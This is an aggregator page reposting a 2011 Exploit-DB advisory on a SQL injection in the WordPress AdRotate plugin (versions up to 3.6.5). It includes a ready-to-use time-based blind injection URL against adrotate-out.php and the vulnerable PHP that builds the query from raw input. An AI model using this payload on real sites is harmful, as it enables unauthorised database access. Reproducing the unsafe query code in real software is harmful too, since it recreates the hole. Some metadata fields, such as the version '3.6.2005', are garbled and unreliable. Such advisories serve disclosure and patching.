WordPress AdRotate plugin - exploit.company

vendor:

AdRotate plugin

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: AdRotate plugin

Affected Version From: 3.6.2005

Affected Version To: 3.6.2005

Patch Exists: NO

Related CWE: CVE not provided

CPE: a:wordpress:adrotate:3.6.5

Other Scripts:

Platforms Tested:

2011

WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability

The vulnerability allows an attacker to perform SQL injection by manipulating the 'track' parameter in the 'adrotate-out.php' file. By injecting malicious SQL code, an attacker can execute arbitrary SQL queries.

Mitigation:

Update to a patched version of the plugin or disable the affected functionality.

Source

Exploit-DB raw data:

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = urldecode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");